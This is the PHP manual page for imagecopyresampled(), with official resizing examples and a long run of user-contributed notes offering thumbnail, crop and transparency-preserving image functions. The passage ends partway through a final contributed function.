This example will resample an image to half its original size.

<?php
// The file
$filename = 'test.jpg';
$percent = 0.5;

// Content type
header('Content-Type: image/jpeg');

// Get new dimensions
list($width, $height) = getimagesize($filename);
$new_width = $width * $percent;
$new_height = $height * $percent;

// Resample
$image_p = imagecreatetruecolor($new_width, $new_height);
$image = imagecreatefromjpeg($filename);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

// Output
imagejpeg($image_p, null, 100);
?>

The above example will output something similar to:

Output of example : Simple example

Example #2 Resampling an image proportionally

This example will display an image with the maximum width, or height, of 200 pixels.

<?php
// The file
$filename = 'test.jpg';

// Set a maximum height and width
$width = 200;
$height = 200;

// Content type
header('Content-Type: image/jpeg');

// Get new dimensions
list($width_orig, $height_orig) = getimagesize($filename);

$ratio_orig = $width_orig/$height_orig;

if ($width/$height > $ratio_orig) {
   $width = $height*$ratio_orig;
} else {
   $height = $width/$ratio_orig;
}

// Resample
$image_p = imagecreatetruecolor($width, $height);
$image = imagecreatefromjpeg($filename);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);

// Output
imagejpeg($image_p, null, 100);
?>

The above example will output something similar to:

Output of example : Resampling an image proportionally

Notes

Note:

There is a problem due to palette image limitations (255+1 colors). Resampling or filtering an image commonly needs more colors than 255, a kind of approximation is used to calculate the new resampled pixel and its color. With a palette image we try to allocate a new color, if that failed, we choose the closest (in theory) computed color. This is not always the closest visual color. That may produce a weird result, like blank (or visually blank) images. To skip this problem, please use a truecolor image as a destination image, such as one created by imagecreatetruecolor().

See Also

imagecopyresized() - Copy and resize part of an image

User Contributed Notes

jagarock at gmail dot com 21-Oct-2011 01:27
A simple function that will crop xxx px from the bottom of the image.

<?php
function cropBottom($image,$bottom) {
list($width, $height) = getimagesize($image);
$img = imagecreatefromjpeg($image);
$crop = imagecreatetruecolor($width,$height-$bottom);
imagecopyresampled ( $crop, $img, 0, 0, 0, 0, $width, $height, $width, $height );
imagejpeg($crop,$image,85);
}
?>
promaty at gmail dot com 18-May-2011 05:26
Here is my ultimate image resizer that preserves transparency for gif's and png's and has an option to crop images to fixed dimensions (preserves image proportions by default)

<?php
function image_resize($src, $dst, $width, $height, $crop=0){

  if(!list($w, $h) = getimagesize($src)) return "Unsupported picture type!";

  $type = strtolower(substr(strrchr($src,"."),1));
  if($type == 'jpeg') $type = 'jpg';
  switch($type){
    case 'bmp': $img = imagecreatefromwbmp($src); break;
    case 'gif': $img = imagecreatefromgif($src); break;
    case 'jpg': $img = imagecreatefromjpeg($src); break;
    case 'png': $img = imagecreatefrompng($src); break;
    default : return "Unsupported picture type!";
  }

  // resize
  if($crop){
    if($w < $width or $h < $height) return "Picture is too small!";
    $ratio = max($width/$w, $height/$h);
    $h = $height / $ratio;
    $x = ($w - $width / $ratio) / 2;
    $w = $width / $ratio;
  }
  else{
    if($w < $width and $h < $height) return "Picture is too small!";
    $ratio = min($width/$w, $height/$h);
    $width = $w * $ratio;
    $height = $h * $ratio;
    $x = 0;
  }

  $new = imagecreatetruecolor($width, $height);

  // preserve transparency
  if($type == "gif" or $type == "png"){
    imagecolortransparent($new, imagecolorallocatealpha($new, 0, 0, 0, 127));
    imagealphablending($new, false);
    imagesavealpha($new, true);
  }

  imagecopyresampled($new, $img, 0, 0, $x, 0, $width, $height, $w, $h);

  switch($type){
    case 'bmp': imagewbmp($new, $dst); break;
    case 'gif': imagegif($new, $dst); break;
    case 'jpg': imagejpeg($new, $dst); break;
    case 'png': imagepng($new, $dst); break;
  }
  return true;
}
?>

Example that I use when uploading new images to the server.

This saves the original picture in the form:
original.type

and creates a new thumbnail:
100x100.type

<?php
  $pic_type = strtolower(strrchr($picture['name'],"."));
  $pic_name = "original$pic_type";
  move_uploaded_file($picture['tmp_name'], $pic_name);
  if (true !== ($pic_error = @image_resize($pic_name, "100x100$pic_type", 100, 100, 1))) {
    echo $pic_error;
    unlink($pic_name);
  }
  else echo "OK!";
?>

Cheers!
guru_boy87 at hotmail dot com 23-Jun-2010 04:52
Function to resize an image.

<?php
function resizeImage($originalImage,$toWidth,$toHeight)
{

    list($width, $height) = getimagesize($originalImage);
    $xscale=$width/$toWidth;
    $yscale=$height/$toHeight;

    if ($yscale>$xscale){
        $new_width = round($width * (1/$yscale));
        $new_height = round($height * (1/$yscale));
    }
    else {
        $new_width = round($width * (1/$xscale));
        $new_height = round($height * (1/$xscale));
    }

    $imageResized = imagecreatetruecolor($new_width, $new_height);
    $imageTmp     = imagecreatefromjpeg ($originalImage);
    imagecopyresampled($imageResized, $imageTmp, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

    return $imageResized;

}
?>
seifer at loveletslive dot com 25-Oct-2009 05:27
Okay so I saw that others have posted this already but I just messed around and made it so figured I would share it.

Mine works, not to say others don't, I haven't tested them.

This function creates a thumbnail of the specfied size.
If the thumbnail is a different ration it will automatically crop the center of the source image.

It works if the source image is bigger or smaller than the desired "cropped thumbnail."

Here is the code...
<?php
function CroppedThumbnail($imgSrc,$thumbnail_width,$thumbnail_height) { //$imgSrc is a FILE - Returns an image resource.
    //getting the image dimensions
    list($width_orig, $height_orig) = getimagesize($imgSrc);
    $myImage = imagecreatefromjpeg($imgSrc);
    $ratio_orig = $width_orig/$height_orig;

    if ($thumbnail_width/$thumbnail_height > $ratio_orig) {
       $new_height = $thumbnail_width/$ratio_orig;
       $new_width = $thumbnail_width;
    } else {
       $new_width = $thumbnail_height*$ratio_orig;
       $new_height = $thumbnail_height;
    }

    $x_mid = $new_width/2;  //horizontal middle
    $y_mid = $new_height/2; //vertical middle

    $process = imagecreatetruecolor(round($new_width), round($new_height));

    imagecopyresampled($process, $myImage, 0, 0, 0, 0, $new_width, $new_height, $width_orig, $height_orig);
    $thumb = imagecreatetruecolor($thumbnail_width, $thumbnail_height);
    imagecopyresampled($thumb, $process, 0, 0, ($x_mid-($thumbnail_width/2)), ($y_mid-($thumbnail_height/2)), $thumbnail_width, $thumbnail_height, $thumbnail_width, $thumbnail_height);

    imagedestroy($process);
    imagedestroy($myImage);
    return $thumb;
}

//Create the thumbnail
$newThumb = CroppedThumbnail("MyImageName.jpg",75,100);

// And display the image...
header('Content-type: image/jpeg');
imagejpeg($newThumb);
?>
michael at heymichael dot com 22-Oct-2009 10:08
imagecopyresampled() works amazingly well, but here is something NOT to try with it:

The resize routine I wrote looks for pixel widths, and resizes images based on the notion that if their widths and heights are too big, so are their byte sizes. It worked out well at first.

But when I saw huge byte-size images slipping through beneath my 1000px-wide benchmark, I figured I'd subject the smaller-width images to resizing if their filesize() exceeded 100K.

The idea was that I'd "resize" them keeping their original widths and heights (i.e. in (1) below, $newW = $oldW, $newH = $oldH), and letting the "75" at (2) below reduce the byte size.

DON'T try that. imagecopyresampled() will lock up the server trying to resize an 800px-wide image to a "new" width of 800px. (I caught that on my Windows server before ever putting it on the destination Linux server, so take that with a grain of salt.)

I got around it by making $newW = ($picW * 0.99), etc. You get the byte-size reduction you want without locking up.

(1) imagecopyresampled($image_p, $image, 0, 0, 0, 0, $newW, $newH, $picW, $picH);

(2) imagejpeg($image_p, $theFile, 75);
asgaroth dot belem at gmail dot com 27-Aug-2009 12:42
In case you are having trouble ( like I did ) and getting some kind of noise in the resampled image.

then changing imagecopyresampled() with imagecopyresized()  removes the noise, found that here: http://bugs.php.net/bug.php?id=45030

Do not ask me why. but it works.
asgaroth dot belem at gmail dot com 26-Aug-2009 11:38
About preserving the  transparency when resizing PNGs this was the only thing that worked for me:

<?php imagealphablending($new_watermark, false);
        $color = imagecolortransparent($new_watermark, imagecolorallocatealpha($new_watermark, 0, 0, 0, 127));
        imagefill($new_watermark, 0, 0, $color);
        imagesavealpha($new_watermark, true);
        imagecopyresampled($new_watermark, $watermark, 0, 0, 0, 0, $new_watermark_width, $new_watermark_height, imagesx($watermark),imagesy($watermark));
?>

Tried without success:

<?php imagealphablending($new_watermark, false);
        $color = imagecolortransparent($new_watermark, imagecolorallocate($new_watermark, 0, 0, 0));
        imagefill($new_watermark, 0, 0, $color);
        imagesavealpha($new_watermark, true);
        imagecopyresampled($new_watermark, $watermark, 0, 0, 0, 0, $new_watermark_width, $new_watermark_height, imagesx($watermark),imagesy($watermark));
 ?>

hope it helps someone.
z3n666 at gmail dot com 27-Apr-2009 11:19
I was looking around and couldn't find a function that resizes images to any ratio without leaving a blank area, so i wrote this one. It's able to resize images to any size ratio, when the ratio is no match with the original it will crop proportional area on the original and resize it.

<?php

function _ckdir($fn) {
    if (strpos($fn,"/") !== false) {
        $p=substr($fn,0,strrpos($fn,"/"));
        if (!is_dir($p)) {
            _o("Mkdir: ".$p);
            mkdir($p,777,true);
        }
    }
}
function img_resizer($src,$quality,$w,$h,$saveas) {
    /* v2.5 with auto crop */
    $r=1;
    $e=strtolower(substr($src,strrpos($src,".")+1,3));
    if (($e == "jpg") || ($e == "peg")) {
        $OldImage=ImageCreateFromJpeg($src) or $r=0;
    } elseif ($e == "gif") {
        $OldImage=ImageCreateFromGif($src) or $r=0;
    } elseif ($e == "bmp") {
        $OldImage=ImageCreateFromwbmp($src) or $r=0;
    } elseif ($e == "png") {
        $OldImage=ImageCreateFromPng($src) or $r=0;
    } else {
        _o("Not a Valid Image! (".$e.") -- ".$src);$r=0;
    }
    if ($r) {
        list($width,$height)=getimagesize($src);
        // check if ratios match
        $_ratio=array($width/$height,$w/$h);
        if ($_ratio[0] != $_ratio[1]) { // crop image

            // find the right scale to use
            $_scale=min((float)($width/$w),(float)($height/$h));

            // coords to crop
            $cropX=(float)($width-($_scale*$w));
            $cropY=(float)($height-($_scale*$h));

            // cropped image size
            $cropW=(float)($width-$cropX);
            $cropH=(float)($height-$cropY);

            $crop=ImageCreateTrueColor($cropW,$cropH);
            // crop the middle part of the image to fit proportions
            ImageCopy(
                $crop,
                $OldImage,
                0,
                0,
                (int)($cropX/2),
                (int)($cropY/2),
                $cropW,
                $cropH
            );
        }

        // do the thumbnail
        $NewThumb=ImageCreateTrueColor($w,$h);
        if (isset($crop)) { // been cropped
            ImageCopyResampled(
                $NewThumb,
                $crop,
                0,
                0,
                0,
                0,
                $w,
                $h,
                $cropW,
                $cropH
            );
            ImageDestroy($crop);
        } else { // ratio match, regular resize
            ImageCopyResampled(
                $NewThumb,
                $OldImage,
                0,
                0,
                0,
                0,
                $w,
                $h,
                $width,
                $height
            );
        }
        _ckdir($saveas);
        ImageJpeg($NewThumb,$saveas,$quality);
        ImageDestroy($NewThumb);
        ImageDestroy($OldImage);
    }
    return $r;
}

?>
satanas147 at gmail dot com 02-Apr-2009 08:33
Another add-on to previous php5 class for thumbnail (with a merge of Matt and Zorro's proposals).
This is dedicated to generate thumbnail on the fly for a webpage using the subclass thumbnail.
It saves the generated thumb as myimage_tn, in the same directory.
I'm quite new with php5, so I think this could be optimized, but it seems to work fine.

<?php
// Imaging
class imaging
{
    // Variables
    private $img_input;
    private $img_output;
    private $img_src;
    private $format;
    private $quality = 80;
    private $x_input;
    private $y_input;
    private $x_output;
    private $y_output;
    private $resize;

    // Set image
    public function set_img($img)
    {
        // Find format
        $ext = strtoupper(pathinfo($img, PATHINFO_EXTENSION));
        // JPEG image
        if(is_file($img) && ($ext == "JPG" OR $ext == "JPEG"))
        {
            $this->format = $ext;
            $this->img_input = ImageCreateFromJPEG($img);
            $this->img_src = $img;
        }
        // PNG image
        elseif(is_file($img) && $ext == "PNG")
        {
            $this->format = $ext;
            $this->img_input = ImageCreateFromPNG($img);
            $this->img_src = $img;
        }
        // GIF image
        elseif(is_file($img) && $ext == "GIF")
        {
            $this->format = $ext;
            $this->img_input = ImageCreateFromGIF($img);
            $this->img_src = $img;
        }
        // Get dimensions
        $this->x_input = imagesx($this->img_input);
        $this->y_input = imagesy($this->img_input);
    }

    // Set maximum image size (pixels)
    public function set_size($max_x = 100,$max_y = 100)
    {
        // Resize
        if($this->x_input > $max_x || $this->y_input > $max_y)
        {
            $a= $max_x / $max_y;
            $b= $this->x_input / $this->y_input;
            if ($a<$b)
            {
                $this->x_output = $max_x;
                $this->y_output = ($max_x / $this->x_input) * $this->y_input;
            }
            else
            {
                $this->y_output = $max_y;
                $this->x_output = ($max_y / $this->y_input) * $this->x_input;
            }
            // Ready
            $this->resize = TRUE;
        }
        // Don't resize
        else { $this->resize = FALSE; }
    }
    // Set image quality (JPEG only)
    public function set_quality($quality)
    {
        if(is_int($quality))
        {
            $this->quality = $quality;
        }
    }
    // Save image
    public function save_img($path)
    {
        // Resize
        if($this->resize)
        {
            $this->img_output = ImageCreateTrueColor($this->x_output, $this->y_output);
            ImageCopyResampled($this->img_output, $this->img_input, 0, 0, 0, 0, $this->x_output, $this->y_output, $this->x_input, $this->y_input);
        }
        // Save JPEG
        if($this->format == "JPG" OR $this->format == "JPEG")
        {
            if($this->resize) { imageJPEG($this->img_output, $path, $this->quality); }
            else { copy($this->img_src, $path); }
        }
        // Save PNG
        elseif($this->format == "PNG")
        {
            if($this->resize) { imagePNG($this->img_output, $path); }
            else { copy($this->img_src, $path); }
        }
        // Save GIF
        elseif($this->format == "GIF")
        {
            if($this->resize) { imageGIF($this->img_output, $path); }
            else { copy($this->img_src, $path); }
        }
    }
    // Get width
    public function get_width()
    {
        return $this->x_input;
    }
    // Get height
    public function get_height()
    {
        return $this->y_input;
    }
    // Clear image cache
    public function clear_cache()
    {
        @ImageDestroy($this->img_input);
        @ImageDestroy($this->img_output);
    }
}
class thumbnail extends imaging {
    private $image;
    private $width;
    private $height;

    function __construct($image,$width,$height) {
parent::set_img($image);
parent::set_quality(80);
parent::set_size($width,$height);
            $this->thumbnail= pathinfo($image, PATHINFO_DIRNAME).pathinfo($image, PATHINFO_FILENAME).'_tn.'.pathinfo($image, PATHINFO_EXTENSION);
parent::save_img($this->thumbnail);
parent::clear_cache();
        }
    function __toString() {
            return $this->thumbnail;
    }
}

********
* DEMO *
********
$thumb = new thumbnail('./image_dir/sub_dir/myimage.jpg',100,100);
echo '<img src=\''.$thumb.'\' alt=\'myimage\' title=\'myimage\'/>';

    ?>
zuegs 31-Mar-2009 10:52
Resampling GIFs and retain transparency dosen't work always, as dependent on the resample factor the resulting resampled image has some pattern-noise that prevents "imagegif" to find all the transparent-pixels.
One way to fix this, is to reset all pixels with high alpha to full-transparent:
<?php
// load/create images
$img_src=imagecreatefromgif($g_srcfile);
$img_dst=imagecreatetruecolor($g_iw,$g_ih);
imagealphablending($img_dst, false);

// get and reallocate transparency-color
$transindex = imagecolortransparent($img_src);
if($transindex >= 0) {
  $transcol = imagecolorsforindex($img_src, $transindex);
  $transindex = imagecolorallocatealpha($img_dst, $transcol['red'], $transcol['green'], $transcol['blue'], 127);
  imagefill($img_dst, 0, 0, $transindex);
}

// resample
imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $g_iw, $g_ih, $g_is[0], $g_is[1]);

// restore transparency
if($transindex >= 0) {
  imagecolortransparent($img_dst, $transindex);
  for($y=0; $y<$g_ih; ++$y)
    for($x=0; $x<$g_iw; ++$x)
      if(((imagecolorat($img_dst, $x, $y)>>24) & 0x7F) >= 100) imagesetpixel($img_dst, $x, $y, $transindex);

// save GIF
imagetruecolortopalette($img_dst, true, 255);
imagesavealpha($img_dst, false);
imagegif($img_dst, $g_dstfile);
imagedestroy($img_dst);
?>
Warren 17-Jan-2009 11:15
This is a function I wrote for making thumbnails -  it will accept a source *image resource* and destination *path*, plus the max dimension and whether the thumbnail should be square.

I chose to accept a resource as the source to make it a bit more efficient to create multiple sizes. For example:

<?php
$src_im=@imagecreatefromjpeg($pathtofile);
$large = resize($src_im,$destination_large,1024);
@imagedestroy($src_im);
$medium = resize($large,$destination_medium,500);
@imagedestroy($large);
$small = resize($medium,$destination_small,125);
@imagedestroy($medium);
$square = resize($small,$destination_square,75,TRUE);
@imagedestroy($small);
@imagedestroy($square);

function resize($src_im, $dpath, $maxd, $square=false) {
    $src_width = imagesx($src_im);
    $src_height = imagesy($src_im);
    $src_w=$src_width;
    $src_h=$src_height;
    $src_x=0;
    $src_y=0;
    if($square){
        $dst_w = $maxd;
        $dst_h = $maxd;
        if($src_width>$src_height){
            $src_x = ceil(($src_width-$src_height)/2);
            $src_w=$src_height;
            $src_h=$src_height;
        }else{
            $src_y = ceil(($src_height-$src_width)/2);
            $src_w=$src_width;
            $src_h=$src_width;
        }
    }else{
        if($src_width>$src_height){
            $dst_w=$maxd;
            $dst_h=floor($src_height*($dst_w/$src_width));
        }else{
            $dst_h=$maxd;
            $dst_w=floor($src_width*($dst_h/$src_height));
        }
    }
    $dst_im=@imagecreatetruecolor($dst_w,$dst_h);
    @imagecopyresampled($dst_im, $src_im, 0, 0, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h);
    @imagejpeg($dst_im,$dpath);
    return $dst_im;
}
?>
MBorgPL at gmail dot com 28-Dec-2008 10:53
Another addition to zorroswordsman at gmail dot com's resize class.

The function takes $_FILES['sent_image'] as 1st parameter. The 2nd is complete destination path.

It only moves images.

It returns destination path if succeeded, and false if any error occurred.

<?php
public function move_image($tmp_img, $dest_img)
{
    //verifies if the uploaded file is an image
    if (strpos($tmp_img['type'], 'image') !== false)
        {
        //moves the uploaded file into the destination place
        if (move_uploaded_file($tmp_img['tmp_name'], $dest_img)) {
            return $dest_img;
        }
    }
    return false;
}
?>
MBorg_PL 27-Dec-2008 03:39
Another tiny ammendment to zorroswordsman at gmail dot com's resize class AND matt at rees-jenkins dot co dot uk addition. The class may resize to different width and height not only same ones:

<?php
// Set maximum image size (pixels)
public function set_size($max_x = 100,$max_y = 100)
{

    // Resize
    if($this->x_input > $max_x || $this->y_input > $max_y)
    {

        $a= $max_x / $max_y;
        $b= $this->x_input / $this->y_input;

        if ($a<$b)
        {

            $this->x_output = $max_x;
            $this->y_output = ($max_x / $this->x_input) * $this->y_input;

        }
        else
        {

            $this->y_output = $max_y;
            $this->x_output = ($max_y / $this->y_input) * $this->x_input;

        }
        // Ready

        $this->resize = TRUE;

    }

    // Don't resize
    else { $this->resize = FALSE; }

}
?>

And the use of the class is now:

<?php

##### DEMO #####

// Image
$src = "myimage.jpg";

// Begin
$img = new imaging;
$img->set_img($src);
$img->set_quality(80);

// Small thumbnail
$img->set_size(250,150);
$img->save_img("small_250x150_" . $src);

// Baby thumbnail
$img->set_size(50,250);
$img->save_img("baby_50x250_" . $src);

// Finalize
$img->clear_cache();

?>
matt at rees-jenkins dot co dot uk 14-Oct-2008 03:32
A tiny ammendment to zorroswordsman at gmail dot com's resize class. It was only resizing if both the width AND height where greater than the desired size. This should fix it:

<?php
// Set maximum image size (pixels)
function set_size($size = 100)
{
    // Resize
    if($this->x_input > $size || $this->y_input > $size)
    {
        // Wide
        if($this->x_input >= $this->y_input)
        {
            $this->x_output = $size;
            $this->y_output = ($this->x_output / $this->x_input) * $this->y_input;
        }
        // Tall
        else
        {
            $this->y_output = $size;
            $this->x_output = ($this->y_output / $this->y_input) * $this->x_input;
        }
        // Ready
        $this->resize = TRUE;
    }
    // Don't resize
    else { $this->resize = FALSE; }
}
?>
zorroswordsman at gmail dot com 24-Sep-2008 07:46
I've created a PHP5 image resize class, using ImageCopyResampled, that someone might find useful, with support for JPEG, PNG, and GIF formats. It retains the original image's aspect ratio when resizing, and doesn't resize or resample if the original width and height is smaller then the desired resize.

<?php

// Imaging
class imaging
{

    // Variables
    private $img_input;
    private $img_output;
    private $img_src;
    private $format;
    private $quality = 80;
    private $x_input;
    private $y_input;
    private $x_output;
    private $y_output;
    private $resize;

    // Set image
    public function set_img($img)
    {

        // Find format
        $ext = strtoupper(pathinfo($img, PATHINFO_EXTENSION));

        // JPEG image
        if(is_file($img) && ($ext == "JPG" OR $ext == "JPEG"))
        {

            $this->format = $ext;
            $this->img_input = ImageCreateFromJPEG($img);
            $this->img_src = $img;

        }

        // PNG image
        elseif(is_file($img) && $ext == "PNG")
        {

            $this->format = $ext;
            $this->img_input = ImageCreateFromPNG($img);
            $this->img_src = $img;

        }

        // GIF image
        elseif(is_file($img) && $ext == "GIF")
        {

            $this->format = $ext;
            $this->img_input = ImageCreateFromGIF($img);
            $this->img_src = $img;

        }

        // Get dimensions
        $this->x_input = imagesx($this->img_input);
        $this->y_input = imagesy($this->img_input);

    }

    // Set maximum image size (pixels)
    public function set_size($size = 100)
    {

        // Resize
        if($this->x_input > $size && $this->y_input > $size)
        {

            // Wide
            if($this->x_input >= $this->y_input)
            {

                $this->x_output = $size;
                $this->y_output = ($this->x_output / $this->x_input) * $this->y_input;

            }

            // Tall
            else
            {

                $this->y_output = $size;
                $this->x_output = ($this->y_output / $this->y_input) * $this->x_input;

            }

            // Ready
            $this->resize = TRUE;

        }

        // Don't resize
        else { $this->resize = FALSE; }

    }

    // Set image quality (JPEG only)
    public function set_quality($quality)
    {

        if(is_int($quality))
        {

            $this->quality = $quality;

        }

    }

    // Save image
    public function save_img($path)
    {

        // Resize
        if($this->resize)
        {

            $this->img_output = ImageCreateTrueColor($this->x_output, $this->y_output);
            ImageCopyResampled($this->img_output, $this->img_input, 0, 0, 0, 0, $this->x_output, $this->y_output, $this->x_input, $this->y_input);

        }

        // Save JPEG
        if($this->format == "JPG" OR $this->format == "JPEG")
        {

            if($this->resize) { imageJPEG($this->img_output, $path, $this->quality); }
            else { copy($this->img_src, $path); }

        }

        // Save PNG
        elseif($this->format == "PNG")
        {

            if($this->resize) { imagePNG($this->img_output, $path); }
            else { copy($this->img_src, $path); }

        }

        // Save GIF
        elseif($this->format == "GIF")
        {

            if($this->resize) { imageGIF($this->img_output, $path); }
            else { copy($this->img_src, $path); }

        }

    }

    // Get width
    public function get_width()
    {

        return $this->x_input;

    }

    // Get height
    public function get_height()
    {

        return $this->y_input;

    }

    // Clear image cache
    public function clear_cache()
    {

        @ImageDestroy($this->img_input);
        @ImageDestroy($this->img_output);

    }

}

##### DEMO #####

// Image
$src = "myimage.jpg";

// Begin
$img = new imaging;
$img->set_img($src);
$img->set_quality(80);

// Small thumbnail
$img->set_size(200);
$img->save_img("small_" . $src);

// Baby thumbnail
$img->set_size(50);
$img->save_img("baby_" . $src);

// Finalize
$img->clear_cache();

?>
crash 12-Aug-2008 06:49
The suggestion of converting a gif to a png to retain transparency was useful. However the steps used to maintain the transparency work for a gif as well, so the conversion step is not necessary. Just do everything the same, and save as a gif anyway. i.e.

<?php
$g_iw is new image width
$g_ih is new image height

$img_src=imagecreatefromgif($g_srcfile);
$img_dst=imagecreatetruecolor($g_iw,$g_ih);

//preserve alpha
imagecolortransparent($img_dst, imagecolorallocate($img_dst, 0, 0, 0));
imagealphablending($img_dst, false);
imagesavealpha($img_dst, true);
imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $g_iw, $g_ih, $g_is[0], $g_is[1]);

imagegif($img_dst, $g_dstfile);
imagedestroy($img_dst);
?>
swizec at swizec dot com 17-Jul-2008 02:20
Wrote a function for sanitising user uploaded images. It saves the native image in size roughly 800x600 so it still fits on most screens when opened, makes a desired size thumbnail and turns all images into high quality jpegs for smaller bandwidth use.

Thumbnails are made in a similar way a designer would make them in photoshop, first resize the most troublesome dimension to desired size, then crop the rest out so the image retains proportions and most of it ends up in the thumbnail.

<?php

// $image is $_FILES[ <image name> ]
// $imageId is the id used in a database or wherever for this image
// $thumbWidth and $thumbHeight are desired dimensions for the thumbnail
function processImage( $image, $imageId, $thumbWidth, $thumbHeight )
{
    $type = $image[ 'type' ];
    $galleryPath = 'images/collection/';

    if ( strpos( $type, 'image/' ) === FALSE )
    { // not an image
        return FALSE;
    }
    $type = str_replace( 'image/', '', $type );
    $createFunc = 'imagecreatefrom' . $type;

    $im = $createFunc( $image[ 'tmp_name' ] );

    $size = getimagesize( $image[ 'tmp_name' ] );

    $w = $size[ 0 ];
    $h = $size[ 1 ];
    if ( $w > 800 || $h > 600 )
    { // we make sure the image isn't too huge
        if ( $w > 800 )
        {
            $nw = 800;
            $nh = ceil( $nw*($h/$w) );
        }elseif( $h > 600 )
        {
            $nh = 600;
            $nw = ceil( $nh*($w/$h) );
        }

        $im2 = imagecreatetruecolor( $nw, $nh );
        imagecopyresampled( $im2, $im, 0, 0, 0, 0, $nw, $nh, $w, $h );
        imagedestroy( $im );

        $im = $im2;
        $w = $nw;
        $h = $nh;
    }

    // create thumbnail
    $tw = $thumbWidth;
    $th = $thumbHeight;
    $imT = imagecreatetruecolor( $tw, $th );

    if ( $tw/$th > $th/$tw )
    { // wider
        $tmph = $h*($tw/$w);
        $temp = imagecreatetruecolor( $tw, $tmph );
        imagecopyresampled( $temp, $im, 0, 0, 0, 0, $tw, $tmph, $w, $h ); // resize to width
        imagecopyresampled( $imT, $temp, 0, 0, 0, $tmph/2-$th/2, $tw, $th, $tw, $th ); // crop
        imagedestroy( $temp );
    }else
    { // taller
        $tmpw = $w*($th/$h );
        $imT = imagecreatetruecolor( $tmpw, $th );
        imagecopyresampled( $imT, $im, 0, 0, 0, 0, $tmpw, $h, $w, $h ); // resize to height
        imagecopyresampled( $imT, $temp, 0, 0, $tmpw/2-$tw/2, 0, $tw, $th, $tw, $th ); // crop
        imagedestroy( $temp );
    }

    // save the image
    imagejpeg( $im, $galleryPath . $imgid . '.jpg', 100 );
    imagejpeg( $imT, $galleryPath . $imgid . '_thumb.jpg', 100 );
}

?>
mattura gmail com 19-May-2008 10:53
Here's a little function I wrote to resize images to a maximum dimension - based on what facebook does in the galleries. You put in a source, destination and a maximum dimension in pixels (eg 300), and for example if the image is long and thin, the longest edge will be 300px, yet the image retains proportions. A square image will become 300x300, a 6x4 (landscape) will become 300x200, a 4x6 (portrait) - 200x300 etc.
It works on jpg images, but other formats can easily be added.
<?php
function createThumb($spath, $dpath, $maxd) {
 $src=@imagecreatefromjpeg($spath);
 if (!$src) {return false;} else {
  $srcw=imagesx($src);
  $srch=imagesy($src);
  if ($srcw<$srch) {$height=$maxd;$width=floor($srcw*$height/$srch);}
  else {$width=$maxd;$height=floor($srch*$width/$srcw);}
  if ($width>$srcw && $height>$srch) {$width=$srcw;$height=$srch;}  //if image is actually smaller than you want, leave small (remove this line to resize anyway)
  $thumb=imagecreatetruecolor($width, $height);
  if ($height<100) {imagecopyresized($thumb, $src, 0, 0, 0, 0, $width, $height, imagesx($src), imagesy($src));}
  else {imagecopyresampled($thumb, $src, 0, 0, 0, 0, $width, $height, imagesx($src), imagesy($src));}
  imagejpeg($thumb, $dpath);
  return true;
 }
}
?>
bobbyboyojones at hotmail dot com 18-Mar-2008 11:41
I hated that enlarging an image resulted in giant pixels rather than a smoother look, so I wrote this function.  It takes longer, but gives a much nicer look.

<?php

function imagecopyresampledSMOOTH(&$dst_img, &$src_img, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h, $mult=1.25){
    // don't use a $mult that's too close to an int or this function won't make much of a difference

    $tgt_w = round($src_w * $mult);
    $tgt_h = round($src_h * $mult);

    // using $mult <= 1 will make the current step w/h smaller (or the same), don't allow this, always resize by at least 1 pixel larger
    if($tgt_w <= $src_w){ $tgt_w += 1; }
    if($tgt_h <= $src_h){ $tgt_h += 1; }

    // if the current step w/h is larger than the final height, adjust it back to the final size
    // this check also makes it so that if we are doing a resize to smaller image, it happens in one step (since that's already smooth)
    if($tgt_w > $dst_w){ $tgt_w = $dst_w; }
    if($tgt_h > $dst_h){ $tgt_h = $dst_h; }

    $tmpImg = imagecreatetruecolor($tgt_w, $tgt_h);

    imagecopyresampled($tmpImg, $src_img, 0, 0, $src_x, $src_y, $tgt_w, $tgt_h, $src_w, $src_h);
    imagecopy($dst_img, $tmpImg, $dst_x, $dst_y, 0, 0, $tgt_w, $tgt_h);
    imagedestroy($tmpImg);

    // as long as the final w/h has not been reached, reep on resizing
    if($tgt_w < $dst_w OR $tgt_h < $dst_h){
        imagecopyresampledSMOOTH($dst_img, $dst_img, $dst_x, $dst_y, $dst_x, $dst_y, $dst_w, $dst_h, $tgt_w, $tgt_h, $mult);
    }
}

?>
arnar at netvistun dot is 16-Mar-2008 10:58
A small thumb script. Lets you specify max height and width. The thumb will always be of a rectangular shape while the image itself retains it's proportions. Very clean.

<?php
// The file
$filename = 'a.jpg';

// Set a maximum height and width
$width = 80;
$height = 80;

$thumbsize = 80;

// Content type
header('Content-type: image/jpeg');

// Get new dimensions
list($width_orig, $height_orig) = getimagesize($filename);

$ratio_orig = $width_orig/$height_orig;

if ($width/$height > $ratio_orig) {
   $width = $height*$ratio_orig;
} else {
   $height = $width/$ratio_orig;
}

// Resample
$image_p = imagecreatetruecolor($thumbsize, $thumbsize);
$image = imagecreatefromjpeg($filename);
imagecopyresampled($image_p, $image, -($width/2) + ($thumbsize/2), -($height/2) + ($thumbsize/2), 0, 0, $width, $height, $width_orig, $height_orig);

// Output
imagejpeg($image_p, null, 100);
?>
rayg at daylongraphics dot com 07-Mar-2008 02:45
Here's a simple function to resample one JPEG imagefile to another while keeping aspect ratio of the source within the destination's dimensions. You can also tune the allowable distortion if you end up making too many thumbnails with thin blank areas around them. Should work when enlarging images too. Function returns true if it worked, false if not.

function resample_picfile($src, $dst, $w, $h)
{
    // If distortion stretching is within the range below,
    // then let image be distorted.
    $lowend = 0.8;
    $highend = 1.25;

    $src_img = imagecreatefromjpeg($src);
    if($src_img)
    {
        $dst_img = ImageCreateTrueColor($w, $h);
        /* if you don't want aspect-preserved images
to have a black bkgnd, fill $dst_img with the color of your choice here.
        */

        if($dst_img)
        {
            $src_w = imageSX($src_img);
            $src_h = imageSY($src_img);

            $scaleX = (float)$w / $src_w;
            $scaleY = (float)$h / $src_h;
            $scale = min($scaleX, $scaleY);

            $dstW = $w;
            $dstH = $h;
            $dstX = $dstY = 0;

            $scaleR = $scaleX / $scaleY;
            if($scaleR < $lowend || $scaleR > $highend)
            {
